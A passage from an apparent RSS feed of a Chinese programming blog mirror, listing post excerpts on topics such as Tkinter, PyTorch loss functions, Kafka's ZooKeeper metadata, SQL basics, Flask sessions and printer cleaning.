xttwo&#34;:&#34;产品推荐&#34;,&#34;product&#34;:[{&#34;name&#34;:&#34;ECS 2核4G 40G数据盘 5M带宽&#34;,&#34;link&#34;:&#34;#&#34;}]}]}]}}</description>
    </item>
    <item>
      <title>python tkinter 关闭窗口_如何关闭Tkinter窗口？</title>
      <link>https://bchobby.github.io/posts/177e94c4bf9a0480bd0f2a7d2af4ba91/</link>
      <pubDate>Fri, 04 Dec 2020 01:23:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/177e94c4bf9a0480bd0f2a7d2af4ba91/</guid>
      <description>您应该destroy()用来关闭tkinter窗口。&#xA;from Tkinter import *&#xA;root = Tk()&#xA;Button(root, text=&#34;Quit&#34;, command=root.destroy).pack()&#xA;root.mainloop()&#xA;说明：&#xA;root.quit()&#xA;上面的行只是绕过了root.mainloop()ie root.mainloop()，如果quit()执行了命令，ie 仍将在后台运行。&#xA;root.destroy()&#xA;当destroy()命令消失时，root.mainloop()即root.mainloop()停止。&#xA;因此，您只想退出该程序，就应该使用root.destroy()它，因为它会停止mainloop()。&#xA;但是如果你想运行无限循环并且你不想破坏你的Tk窗口并且想root.mainloop()在行之后执行一些代码，那么你应该使用root.quit()。例如：&#xA;from Tkinter import *&#xA;def quit():&#xA;global root&#xA;root.quit()&#xA;root = Tk()&#xA;while True:&#xA;Button(root, text=&#34;Quit&#34;, command=quit).pack()&#xA;root.mainloop()&#xA;#do something</description>
    </item>
    <item>
      <title>pytorch-CroosEntropyLoss使用详解（多维）</title>
      <link>https://bchobby.github.io/posts/54eaa2a8f52119569af3a51c0f3f50a1/</link>
      <pubDate>Thu, 03 Dec 2020 20:55:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54eaa2a8f52119569af3a51c0f3f50a1/</guid>
      <description>目录: 1.分类问题（input二维）2.图像分割问题（input多维） 1.分类问题（input二维） 分类问题输入是每一个batch的各个类别预测概率。input, target, output形状如下：&#xA;input：（batch_size, class_num）&#xA;target：（batch_size）&#xA;output：（batch_size）&#xA;示例：&#xA;&amp;gt;&amp;gt;&amp;gt; loss = nn.CrossEntropyLoss() &amp;gt;&amp;gt;&amp;gt; input = torch.randn(3, 5, requires_grad=True) &amp;gt;&amp;gt;&amp;gt; target = torch.empty(3, dtype=torch.long).random_(5) &amp;gt;&amp;gt;&amp;gt; output = loss(input, target) &amp;gt;&amp;gt;&amp;gt; output.backward() 2.图像分割问题（input多维） 图像分割等问题输入是一张图像。input, target, output形状如下：&#xA;input：（batch_size, C, W, H）&#xA;target：（batch_size, W, H）&#xA;output：（batch_size, W, H）&#xA;示例：&#xA;&amp;gt;&amp;gt;&amp;gt; loss = nn.CrossEntropyLoss() &amp;gt;&amp;gt;&amp;gt; input = torch.randn(3, 5, 6, 6, requires_grad=True) &amp;gt;&amp;gt;&amp;gt; target = torch.empty(3, 6, 6, dtype=torch.long).random_(2) &amp;gt;&amp;gt;&amp;gt; output = loss(input, target) &amp;gt;&amp;gt;&amp;gt; output.</description>
    </item>
    <item>
      <title>latex 中文_[LaTeX] MacTeX中文公式使用指南</title>
      <link>https://bchobby.github.io/posts/a397cca3d6df30e88bfa891aee238f10/</link>
      <pubDate>Thu, 03 Dec 2020 20:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a397cca3d6df30e88bfa891aee238f10/</guid>
      <description>上一篇文章写用brew来安装MacTeX：[Latex] 在Mac上使用Brew安装LaTeX（MacTex），但经过一顿操作发现，如果需要GUI界面的话，还是直接用pkg安装吧。 MacTeX官网地址：https://tug.org/mactex/（强烈建议用Safari下载）&#xA;安装包大概是4G，安装在磁盘还会花掉6G的空间。这个按照正常的流程安装就可以了。&#xA;安装完之后可以在Application看到TeX文件夹 我现在用的应用搭配是Sublime + MacTeX + Skim，所以如果你是刚开始的话，你还需要下Sublime（文本编辑器） 和 Skim（PDF阅读器），然后修改一些设置使得在Sublime上编辑LaTeX可以马上编译并在Skim上看到效果，具体可以看以下这篇文章：&#xA;如何用 macOS 优雅的敲 LaTeX​www.jianshu.com 我这边配置好之后的使用情况是：&#xA;左边是Sublime，右边是Skim 中文的设置&#xA;其实如果写纯英文的话，也不用太麻烦自己配置这么多，直接用sharelatex就可以了，不过在线的问题是貌似不太可能解决一下中文的问题。&#xA;先提一下Mac OS的字体库：&#xA;应用程序Font，或者繁体叫字体簿 上面就是Mac有哪些字体了，而以前每个字体都有个postscript的名字，现在的话就只有你看到的那个名称，例如：「行楷-繁」，这个字体我们会在写LaTeX时候用到。&#xA;写LaTeX&#xA;终于到了写LaTeX的时候，我先放一段测试的文本：&#xA;documentclass{ctexart} usepackage{xeCJK} setCJKmainfont{行楷-繁} begin{document} 您好,LaTeX! ctex 宏包提供了三个字体选项: nofonts、adobefonts 和 winfonts,默认使用的是 winfonts。如果在 tex 源文件中没有使用其他选项修改字体配置, 则需要操作系统中安装有中文 Windows 操作系统自带的四种 TrueType 字体: 宋体(SimSun)、黑体(SimHei)、仿宋体(FangSong)、楷体(KaiTi)。 其余字体比如隶书(LiShu)、新宋体(NSimSun)、幼圆(YouYuan)、行楷(STXingkai)可以自行安装。 如果使用 adobefonts 选项,则需要操作系统中安装有 Adobe 公司的四款 OpenType 字体:Adobe 宋体、Adobe 黑体、Adobe 仿宋、Adobe 楷体。 此处我们打算使用 nofonts 选项,然后通过 CJK 中文方案将 繁體字走一波 $$ mbox{難度係數} = sqrt{mbox{累積海拔上升} times 2 times mbox{距離}} $$ end{document} 编译以上这段需要留意的是编译器的选择，这里在Sublime界面按command + shift + P可以调出选择的框（这个在前面的教程链接中有明确的介绍）：</description>
    </item>
    <item>
      <title>【Kafka】在Kafka和ZK“分手”之前，来看看Kafka在ZK中到底保存了什么</title>
      <link>https://bchobby.github.io/posts/341caf97e891ae656cc45f64096b077a/</link>
      <pubDate>Thu, 03 Dec 2020 18:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/341caf97e891ae656cc45f64096b077a/</guid>
      <description>在《深入理解Kafka：核心设计与实践原理》一书中，介绍了Kafka的整体架构：&#xA;Kafka将broker、topic、config等元数据信息存放在zookeeper中（但是随着Kafka的更新，可以看到Kafka想慢慢地“脱离”Zookeeper），详细的结构如下：（基于Kafka2.1.1）&#xA;在Kafka源码的core模块下，kafka.zk.ZkData中定义了Kafka在zk中元数据存储的目录及内容：&#xA;下面将一一解释。&#xA;admin 存放两个Kafka的管理信息：&#xA;delete_topics：在低版本的kafka中，用于保存已经标记为删除的topic名称（只有名称，没有其他数据）reassign_partitions：管理工具发出重新分配Partition请求后，会将相应信息写到/admin/reassign_partitions上 在Kafka1.0之前的版本中，delete.topic.enable属性值默认为false，因此若想删除topic，需要在server.properties配置文件中显式增加delete.topic.enable=true这一项配置。然而，在Kafka1.0中，该配置项默认就是true。另外，在Kafka1.0之前的版本中，如果删除了topic，那么被删除的topic名字会保存到ZooKeeper的/kafka名称/admin/delete_topics节点中。虽然topic被删除了，但与topic相关的消息数据依然还会保留，需要用户手动到相关的数据目录下自行删除，然后这一切在Kafka1.0中都发生了变化。在Kafka1.0中，当topic被删除后，与topic相关的数据也会一并删除，并且不可逆。开发者估计也是考虑到了删除topic没必要这么麻烦，要么不允许删除，要么就一步到位。&#xA;[root@XXGL-T-TJSYZ-app-025 bin]# [root@XXGL-T-TJSYZ-app-025 bin]# ./kafka-topics.sh --zookeeper localhost:2181/kafka211 --delete --topic testkafak1 Topic testkafak1 is marked for deletion. Note: This will have no impact if delete.topic.enable is not set to true. [root@XXGL-T-TJSYZ-app-025 bin]# [zk: localhost:2181(CONNECTED) 6] get /kafka211/admin/delete_topics null [zk: localhost:2181(CONNECTED) 7] 可以看到，高版本的kafka，对已经删除的topic，不会再保存到delete_topics目录下。&#xA;brokers /kafka211/brokers目录下存放Kafka broker相关的信息：ids、seqid、topics&#xA;(kafka211为演示使用的Kafka集群名，也是该集群在zk中的根目录)&#xA;/kafka211/brokers/ids&#xA;该目录下存放的是Kafka集群所有的broker id&#xA;[zk: localhost:2181(CONNECTED) 0] [zk: localhost:2181(CONNECTED) 0] ls /kafka211/brokers [ids, seqid, topics] [zk: localhost:2181(CONNECTED) 1] [zk: localhost:2181(CONNECTED) 1] ls /kafka211/brokers/ids [1, 2, 3] [zk: localhost:2181(CONNECTED) 2] get /kafka211/brokers/ids/1 {&#34;</description>
    </item>
    <item>
      <title>python head_使用Python请求获取HEAD内容</title>
      <link>https://bchobby.github.io/posts/87bb8af17996c0593571df89942e8346/</link>
      <pubDate>Thu, 03 Dec 2020 18:05:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87bb8af17996c0593571df89942e8346/</guid>
      <description>I&#39;m trying to parse the result of a HEAD request done using the Python Requests library, but can&#39;t seem to access the response content.&#xA;According to the docs, I should be able to access the content from requests.Response.text. This works fine for me on GET requests, but returns None on HEAD requests.&#xA;GET request (works)&#xA;import requests&#xA;response = requests.get(url)&#xA;content = response.text&#xA;content = ...&#xA;HEAD request (no content)</description>
    </item>
    <item>
      <title>ISIS课堂笔记12.3</title>
      <link>https://bchobby.github.io/posts/4a236f11fc8dbbf018f594da8f1c0534/</link>
      <pubDate>Thu, 03 Dec 2020 17:13:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a236f11fc8dbbf018f594da8f1c0534/</guid>
      <description>7805与78l05区别： 1.管脚不同：管脚相反&#xA;2. 78L05是一种固定电压(5V)三端集成稳压器，可适用于很多应用场合。其卓越的内部电流限制和热关断特性使之特别适用于过载的情况，当用于替代传统的齐纳二极管-电阻组的时候，其输出阻抗得到有效的改善，但偏置电流大大减少。&#xA;7805三端稳压集成电路，电子产品中，常见的三端稳压集成电路有正电压输出的78 ×× 系列和负电压输出的79××系列。顾名思义，三端IC是指这种稳压用的集成电路，只有三条引脚输出，分别是输入端、接地端和输出端。它的样子像是普通的三极管，TO- 220 的标准封装，也有9013样子的TO-92封装。&#xA;实验报告书：定正电压输出的78系列、固定负电压输出的79系列、可调三端稳压器X17系列。78系列中输出电压有5伏、6伏、9伏等等，由输出最大电流分类有1.5A型号的78XX（XX为其输出电压）、0.5A型号的78MXX、0.1A型号的78LXX三档。79系列中输出电压有-5伏、-6伏、-9伏等等，同样由输出最大电流分为三档，标识方法一样。可调式三端稳压器由工作环境温度要求不同分为三种型号，能工作在-55到150摄氏度的为117，能工作在-25到150摄氏度的为217，能工作在0到150摄氏度的为317，同样根据输出最大电流不同分为X17、X17M、X17L三档。其输入输出电压差要求在3伏以上&#xA;值得注意的是：7805为稳定输出为+5v电压&#xA;7905为稳定输出为-5v电压&#xA;7808为稳定输出为+8v电压&#xA;7908为稳定输出为-8v电压&#xA;cap、cap-pol、cap-elec区别 1.cap是普通的电容&#xA;2.cap-pol是有极性电容，直线为正极，弧线为负极&#xA;3.cap-elec是电解电容，空心为正极，填充为负极</description>
    </item>
    <item>
      <title>ArrayList和Linkedlist的区别是什么?</title>
      <link>https://bchobby.github.io/posts/57bc35c7b990e1b9e915e9d4c456903e/</link>
      <pubDate>Thu, 03 Dec 2020 15:54:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57bc35c7b990e1b9e915e9d4c456903e/</guid>
      <description>ArrayList和Linkedlist的区别是什么? ●数据结构实现：Araylist是动态数组的数据结构实现而Linkedist是&#xA;双向链表的数据结构实现。&#xA;●随机访问效率: ArrayList比LinkedList 在随机访问的时候效率要高，&#xA;因为Linkedlist 是线性的数据存储方式,所以需要移动指针从前往后依&#xA;次查找。&#xA;●增加和删除效率:在非首尾的增加和删除操作，LinkedList 要比&#xA;ArrayLlist效率要高,因为ArrayList 增删操作要影响数组内的其他数据&#xA;的下标。&#xA;综合来说,在需要频繁读取集合中的元素时,更推荐使用ArrayList ,而在插入&#xA;和删除操作较多时,更推荐使用LinkedList。</description>
    </item>
    <item>
      <title>2020MathorCup数学建模挑战赛C题 仓内拣货优化问题</title>
      <link>https://bchobby.github.io/posts/eb9b23196d97b91659ab078bfdacdc8e/</link>
      <pubDate>Thu, 03 Dec 2020 14:38:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb9b23196d97b91659ab078bfdacdc8e/</guid>
      <description>仓内拣货优化问题 问题一 下面是计算 3000 × 3000 3000\times 3000 3000×3000矩阵（货格与货格距离）的 P y t h o n Python Python代码&#xA;输出为3000个 1 × 3000 1\times3000 1×3000列表，需自己存入 E x c e l 表 格 Excel表格 Excel表格&#xA;import pandas as pd # 导入数据分析库Pandas import xlsxwriter workbook = xlsxwriter.Workbook(&#39;sheet.xlsx&#39;) worksheet = workbook.add_worksheet(u&#39;sheet1&#39;) inputfile = &#39;附件1：仓库数据.xlsx&#39; # 销量数据路径 data = pd.read_excel(inputfile, sheet_name=&#39;货格&#39;) # 读入数据 a = data[u&#39;坐标 x,毫米&#39;] b = data[u&#39;坐标 y,毫米&#39;] x_store = [] # 货格横坐标 y_store = [] # 货格纵坐标 # 将横坐标导入x(1:3000)数组中 将纵坐标导入y(1:3000)数组中 for i in range(len(a)): x_store.</description>
    </item>
    <item>
      <title>打印页table头部重叠_手把手教你如何清理打印机喷头</title>
      <link>https://bchobby.github.io/posts/8bd0dfbe295bd81a54be9b5c2863cdf6/</link>
      <pubDate>Thu, 03 Dec 2020 13:05:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bd0dfbe295bd81a54be9b5c2863cdf6/</guid>
      <description>点击此处添加图片说明文字&#xA;喷墨打印机使用时间长了，很多人会发现打印的文字或图像出现颜色失真、字迹模糊等情况，甚至打印不了的情况，这往往是因为打印机喷头被堵住了，因此需要对它进行检修。下面是检修的几种方法。&#xA;01&#xA;用驱动工具清洗喷头&#xA;如果打印机喷头堵塞不是很严重，能够进行正常打印，只是打印出来的文档比以前的要逊色一些(比如部分文字的字迹不清或照片局部颜色偏色等)，如果不想太麻烦，可以使用打印机驱动程序自带的应用工具来清洗打印机喷头，一般而言，大部分喷墨打印机都会附带墨盒清洗工具。&#xA;使用打印机驱动程序的应用工具清洗喷头，其优点是操作简便、快捷，缺点是清洗效果不太理想。最后如果你觉得还是不满意，可以在“打印工具箱”中点“校准打印墨盒”按钮，再在出现的窗口中点“校准”按钮，然后开始对打印墨盒进行校准，校准完毕后，你会发现打印质量会进一步提升。&#xA;点击此处添加图片说明文字&#xA;还有就是可以按下面方法进行检查：&#xA;第一步：查看墨水，判断墨水是否有用完的可能。&#xA;第二步：用打印机的喷嘴检查程序，看打印结果是否严重断线，如断，用机内打印清洗，多打几遍，如无效果再进行以下步骤。&#xA;第三步：拔下打印机电源插头，翻开EPSON480打印机的盖板(图II)。&#xA;第四步：接上电源，同时眼睛注视移出的墨盒，当墨盒移出最大极限时拔下电源，你会发现墨盒停在中间，还没完，再接上电源，墨盒又向前移动了，当到极限时断电(这是为了有足够的空间向里面注酒精)。向打印机内部看去，在打印机墨盒出来的原位置有一块小海绵(用于擦去喷嘴上的墨迹)。用注射器吸一点酒精把海棉完全浸湿。注意不要让酒精溢&#xA;出。&#xA;第五步：通电，墨盒会自动的复位。等上一天之后，再次开机一切OK。&#xA;02&#xA;手动清洗打印喷头&#xA;打印输出时会有断线、白道、偏色等问题，但是墨盒中仍有墨水，这种喷头堵塞的情况需要手动来进行清洗。首先将打印机中的墨盒拆下来，会发现墨盒底部有类似集成电路的部分，这就是喷头所在的位置，准备一些在 50℃~60℃的温水，将温水倒入一个洁净透明的杯子中，然后将墨盒底部的喷嘴浸入水中浸泡10~30分钟。 点击此处添加图片说明文字&#xA;需要注意的是，只要将喷嘴的部分浸入水中即可，不要将整个墨盒放入水中。浸泡 10~30分钟后将墨盒从水中取出，适度用力甩干，喷嘴部分会甩出一些墨水，用餐巾纸将墨盒喷嘴处甩出的墨水吸干，将清洗后的墨盒安装回去，墨盒清洁过程就完成了，最后使用打印机打印一张脱机测试页，对比一下清洁后的效果。&#xA;有时打印机长期不使用，一些用户将墨盒直接外置，这样很容易导致喷头堵塞，而且内部的墨水也干了，此时无法进行打印，那么需要进行“特殊”处理，准备浓度95％的酒精、一个干净的杯子、一支一次性注射器。将一次性输液器的塑料管与打印头供墨口连接，将打印头头部置于浓度95％的酒精中，通过打印头将酒精吸入注射器针管中，吸入数次后可以清洗堵塞较严重的打印头。&#xA;注意事项：&#xA;喷嘴内和洗车槽事先用清水洗干净，只是为下一步使用清通液时，节约清通液，并使清液浸泡喷嘴发挥最佳效果，另外预先用灌了清水的针筒在进墨柱上向上抽，预先感知各个喷嘴内堵塞的情况。&#xA;完成预先清水清洗后，用针筒将进墨柱抽空(不含清水)，为下一步加清通液做好准备&#xA;用针筒抽取2ML左右清通液，(6色打印机相应使用量为3ML)，在黑色墨柱里慢慢加入0.3至0.4毫升，彩色每个进墨柱里加入0.2至0.3毫升，针筒内余下的0.5至1.0ML全注入在洗车槽内，然后装回墨盒，马上将墨车移到停车位(即洗车槽上，打印机关机时墨车的那个位置)&#xA;清洗完后千万不要着急开打印机电源，耐心等8小时以上。8小时以后，或第二天，再开打印机电源。&#xA;8小时后开机后，在电脑的打印机属性里-“打印机首选项”-“维护”-“打印头清洗”，用软件清洗一次，仅一次，检查打印头喷嘴，对比在清洗前打印的，仔细对比检查分析喷嘴线条，如果还不理想，再重复一遍清洗，再检查。</description>
    </item>
    <item>
      <title>linux 问题集</title>
      <link>https://bchobby.github.io/posts/f05db2f719be89c914b9b979c8470356/</link>
      <pubDate>Thu, 03 Dec 2020 10:24:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f05db2f719be89c914b9b979c8470356/</guid>
      <description>1.不是 rpm 软件包 (或者没有manifest) 问题描述： 通过wget下载的rpm安装包。使用rpm命令进行安装时显示如上报错&#xA;解决方法： 首先确认wget下载的安装包是否正确。可通过文件大小比较，请勿通过文件名比较。问题原因为wget下载的文件虽然名称正确，但这个文件是有问题的。通过两次下载比较大小发现相差甚远。下载正确的文件之后即可安装&#xA;2.cpio: read 失败 - 没有那个文件或目录 错误描述： 解决方法： 确保下载文件正确，且安装包完整（请勿通过名称确认）。或者手动进行安装包上传</description>
    </item>
    <item>
      <title>聊聊两个状态管理库 Redux &amp; Recoil</title>
      <link>https://bchobby.github.io/posts/b86331016223d53fdc1cc9809ca81276/</link>
      <pubDate>Thu, 03 Dec 2020 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b86331016223d53fdc1cc9809ca81276/</guid>
      <description>State Management in React Apps 背景 React 是一个十分优秀的UI库， 最初的时候， React 只专注于UI层， 对全局状态管理并没有很好的解决方案， 也因此催生出类似Redux 这样优秀的状态管理工库。&#xA;随着时间的演变， 又催化了一批新的状态管理工具。&#xA;我简单整理了一些目前主流的：&#xA;Redux&#xA;React Context &amp;amp; useReducer&#xA;Mobx&#xA;Recoil&#xA;react-sweet-state&#xA;hox&#xA;这几个都是我接触过的，Npm 上的现状和趋势对比：&#xA;毫无疑问，React 和 Redux 的组合是目前的主流。&#xA;今天5月份， 一个名叫 Recoil.js 的新成员进入了我的视野，带来了一些有趣的模型和概念，今天我们就把它和 Redux 做一个简单的对比， 希望能对大家有所启发。&#xA;正文 先看 Redux:&#xA;Redux React-Redux 架构图：&#xA;这个模型还是比较简单的， 大家也都很熟悉。&#xA;先用一个简单的例子，回顾一下整个模型:&#xA;actions.js export const UPDATE_LIST_NAME = &#39;UPDATE_NAME&#39;; reducers.js export const reducer = (state = initialState, action) =&amp;gt; { const { listName, tasks } = state; switch (action.</description>
    </item>
    <item>
      <title>注解动态设置参数_dubbo（二）动态编译compiler</title>
      <link>https://bchobby.github.io/posts/46ca2756b8330792d10bb645d4663ef6/</link>
      <pubDate>Thu, 03 Dec 2020 05:47:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ca2756b8330792d10bb645d4663ef6/</guid>
      <description>一、Dubbo的动态编译&#xA;上一篇提到过@Adaptive注解的作用：被@Adaptive修饰的类实际上是一个装饰类。被@Adaptive修饰的方法则会生成一个动态代理类，而根据模板生成的类则需要通过动态编译由字节流被编译成动态代理类。本文主要讲的就是dubbo的动态编译。 dubbo-spi的扩展装饰类是通过ExtensionLoader.getAdaptiveExtension来获取，内部则进行了动态编译。核心代码如下：&#xA;private Class&amp;gt; createAdaptiveExtensionClass() {&#xA;//创建动态代理模板 - 即需要编译代理类的内容 String code = createAdaptiveExtensionClassCode(); ClassLoader classLoader = findClassLoader();&#xA;//加载SPI中的compiler编译对象 Compiler compiler=&#xA;ExtensionLoader.getExtensionLoader(Compiler.class).getAdaptiveExtension();&#xA;//进行动态编译 return compiler.compile(code, classLoader);&#xA;} 二、compiler&#xA;首先compiler是一个装饰类，不会生成动态代理类。因为compiler的实现为：AbstractCompiler和AdaptiveCompiler，而在AdaptiveCompiler中，@Adaptive注解没有修饰在方法中，所以不会生成动态代理对象，不需要进行动态编译。&#xA;另外，下图可以看到Compiler默认使用javassist字节码编译方式。&#xA;· AdaptiveCompiler.compile&#xA;public Class&amp;gt; compile(String code, ClassLoader classLoader) {&#xA;Compiler compiler; ExtensionLoader loader = ExtensionLoader.getExtensionLoader(Compiler.class); String name = DEFAULT_COMPILER;&#xA;//name如果存在则取compiler&#xA;if (name != null &amp;amp;&amp;amp; name.length() &amp;gt; 0) {&#xA;compiler = loader.getExtension(name); } else {&#xA;//name如果不存在则取默认配置compiler，即JavassistCompiler&#xA;compiler = loader.getDefaultExtension(); }return compiler.</description>
    </item>
    <item>
      <title>shell 提取sql 的字段名表名_小白都能看明白的数据分析入门重点——SQL理论&#43;实操</title>
      <link>https://bchobby.github.io/posts/f41b58d2afd6b0cc6f8dc8806a36e74d/</link>
      <pubDate>Thu, 03 Dec 2020 03:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f41b58d2afd6b0cc6f8dc8806a36e74d/</guid>
      <description>最近市面上很火的一个行业——数据分析师，作为数据分析师，感觉像是一个很高大上的工作岗位，之前的时候有同学毅然决然的投身其中，这不，这几天闲聊，我就问他你们都干嘛啊，他说：没想到换了工作，SQL还是常用的工具，我就问他为什么？他说常规的数据分析，有什么比数据库好用，大数据量的数据分析，像hive、sparkSQL又都支持sql操作，所以sql还是占用了很大一部分空间&#xA;快挂电话的时候这老小子跟我说：我知道你小子SQL好，快点给我整理一下SQL 的相关知识，我正好最近接了一个“私教”的活，也需要一套系统的“授课”体系，也就顺手一起整理一下吧&#xA;适应人群 1、刚开始学习的小白：这是5天的“私教”课程，我教自家的小外甥的，他也是计算机系的学生&#xA;2、工作有一段时间想要巩固一下基础的，建议也能回忆一下，我当时整理的时候发现很多都开始遗忘了，除了常用的&#xA;注：篇幅太长，我分两篇文章进行整理，需要更完整的文档的，敬请期待&#xA;1 sql基础讲解 着重介绍数据库的定义语言，操纵语言，数据控制语言和事物控制语言。&#xA;数据库定义语言(DDL，Data Definition Language)是负责数据的模式定义与数据的物理存取构建，说白了CREATE建表语句，ALTER 更新表结构语句，DROP 删除语句&#xA;CREATE建表语句&#xA;//创建表的基本语句：create table 表名(字段名 类型，字段名 类型，字段名 类型....)#创建学生表：学号，姓名，性别，年龄，qq号，邮箱。create table student( snum number(10),//指定学号的数字长度为10 sname varchar2(100),//指定姓名的存储上限为100个字节 sex char(4), age number, qq number, sal number(6,2),//指定工资的整数位为6和小数位为2 mail varchar2(50)) Drop删除表&#xA;#删除表：DROP TABLE 表名;drop table dept ALTER更新表结构&#xA;#添加新字段 alter table 表名 add 字段名 类型 alter table student add phone number(11)#修改字段类型 alter table 表名 modify 字段名 类型 alter table student modify sname varchar2(200)#删除字段 alter table 表名 drop column 字段名 alter table student drop column phone 数据操纵语言</description>
    </item>
    <item>
      <title>SNAP处理Sentinel-1 SLC数据遇到Error: Cannot construct DataBuffer</title>
      <link>https://bchobby.github.io/posts/e248bff4d0a8ab17bf85d93696125d7a/</link>
      <pubDate>Wed, 02 Dec 2020 19:25:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e248bff4d0a8ab17bf85d93696125d7a/</guid>
      <description>把数据从移动硬盘复制粘贴到电脑上，就好了。。。无语了</description>
    </item>
    <item>
      <title>结巴分词器——jieba-analysis</title>
      <link>https://bchobby.github.io/posts/6f17bfed1b1614db4e04f4714880a110/</link>
      <pubDate>Wed, 02 Dec 2020 18:59:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f17bfed1b1614db4e04f4714880a110/</guid>
      <description> 支持三种分词模式：&#xA;全模式，把句子中所有的可以成词的词语都扫描出来, 速度非常快，但是不能解决歧义；&#xA;精确模式，试图将句子最精确地切开，适合文本分析；&#xA;搜索引擎模式，在精确模式的基础上，对长词再次切分，提高召回率，适合用于搜索引擎分词。&#xA;jar包（pom.xml文件）：&#xA;# 当前稳定版本 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.huaban&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jieba-analysis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; # 当前快照版本 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.huaban&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jieba-analysis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0.3a&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; java简单实现：&#xA;public static void main(String[] args) throws IOException { String text = &#34;前任拉甘送苏宁首败落后恒大6分争冠难了&#34;; JiebaSegmenter segmenter = new JiebaSegmenter(); System.out.println(segmenter.sentenceProcess(text)); } 运行结果：&#xA;[前任, 拉甘送, 苏宁, 首败, 落后, 恒大, 6, 分, 争冠, 难, 了] </description>
    </item>
    <item>
      <title>matlab集群运行</title>
      <link>https://bchobby.github.io/posts/9b5f11ebb671d59c69ee67c1e5eaeb02/</link>
      <pubDate>Wed, 02 Dec 2020 15:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b5f11ebb671d59c69ee67c1e5eaeb02/</guid>
      <description>1、在每台服务器上安装并行运行包，进入cd /opt/matlab/toolbox/distcomp/bin/&#xA;执行：sudo ./mdce install ，新版建议执行：mjs install&#xA;2、并启动集群运行包&#xA;3、启动集群配置界面&#xA;4、先进行ip映射，在每个节点的/etc/hosts文件中添加如下代码：&#xA;10.12.29.164 server1&#xA;10.12.26.194 server2&#xA;10.12.26.174 server3&#xA;5、输入节点的ip&#xA;6、输入节点的root密码&#xA;7、默认即可&#xA;8、配置成功&#xA;10.12.29.164 server1&#xA;10.12.26.194 server2&#xA;10.12.26.174 server3&#xA;9、点击discover cluster查找集群，将配置的集群设置为默认&#xA;10、代码测试&#xA;点击home的parallel&#xA;点击create and manage cluster&#xA;点击discover clusters&#xA;11、自动搜索找到mcluster，点击validation&#xA;12&#xA;clear;&#xA;tic;&#xA;parfor i =1:100&#xA;pause(1)&#xA;end&#xA;toc;&#xA;clear;&#xA;tic;&#xA;for i =1:100&#xA;pause(1)&#xA;end&#xA;toc;&#xA;可以看出集群运行的快速度&#xA;https://blog.csdn.net/qq_31285709/article/details/87913533&#xA;参考这里</description>
    </item>
    <item>
      <title>Flask 插件</title>
      <link>https://bchobby.github.io/posts/58b91b4f9139172d2044d219b820f773/</link>
      <pubDate>Wed, 02 Dec 2020 15:01:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b91b4f9139172d2044d219b820f773/</guid>
      <description>session技术 由于cookie下发到客户端本地进行保存和使用，存在比较大的风险，所以有了session技术对cookie进行弥补，session技术本身原理和cookie类似，并且依赖cookie，但是session不会将校验内容下发给用户，而是保存在服务器上，只是用cookie技术下发一个加密的sessionid。&#xA;Flask当中，默认session是以加密方法下发给用的。&#xA;由于session保存在服务器上，通常是服务器的数据库当中，所以，对session的增删改查会照成一定程度上的服务器压力。所以使用session要考虑数据库压力问题。&#xA;session对象在Flask当中是一个类字典对象，所以，对session的操作可以按照字典的形式来。&#xA;from flask import Flask from flask import session app = Flask(__name__) app.config[&#34;SECRET_KEY&#34;] = &#34;SD1A3S1C3ZX1C3A1D3&#34; # 盐值 @app.route(&#34;/&#34;) def index(): session[&#34;name&#34;] = &#34;laobian&#34; #设置session session.get(&#34;name&#34;) # 获取session del session[&#34;name&#34;] # 删除session return &#34;hello world&#34; if __name__ == &#34;__main__&#34;: app.run( host = &#34;127.0.0.1&#34;, port = 80, debug = True ) Flask配置文件 配置文件&#xA;import os class BaseConfig: base_dir = os.path.join( os.path.dirname( os.path.abspath(__file__) ),&#34;OA.sqlite&#34; ) SECRET_KEY = &#34;123ad&#34; SQLALCHEMY_DATABASE_URI = &#34;</description>
    </item>
    <item>
      <title>centos8安装gpu驱动</title>
      <link>https://bchobby.github.io/posts/a9c838504492976286a418e407dc00f5/</link>
      <pubDate>Wed, 02 Dec 2020 13:18:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9c838504492976286a418e407dc00f5/</guid>
      <description>查看显卡列信息&#xA;[admin@server1 ~]$ lspci | grep -i vga 04:00.0 VGA compatible controller: NVIDIA Corporation GP107GL [Quadro P600] (rev a1) [admin@server1 ~]$ sudo lshw -numeric -C display [sudo] password for admin: *-display description: VGA compatible controller product: GP107GL [Quadro P600] [10DE:1CB2] vendor: NVIDIA Corporation [10DE] physical id: 0 bus info: pci@0000:04:00.0 version: a1 width: 64 bits clock: 33MHz capabilities: pm msi pciexpress vga_controller bus_master cap_list rom configuration: driver=nouveau latency=0 resources: irq:74 memory:a3000000-a3ffffff memory:90000000-9fffffff memory:a0000000-a1ffffff ioport:2000(size=128) memory:c0000-dffff [admin@server1 ~]$ 显卡驱动查询下载</description>
    </item>
    <item>
      <title>【Git】SSL certificate problem: unable to get local issuer certificate错误的解决办法</title>
      <link>https://bchobby.github.io/posts/40ea7fff492490a42d5ab40bda4b32e2/</link>
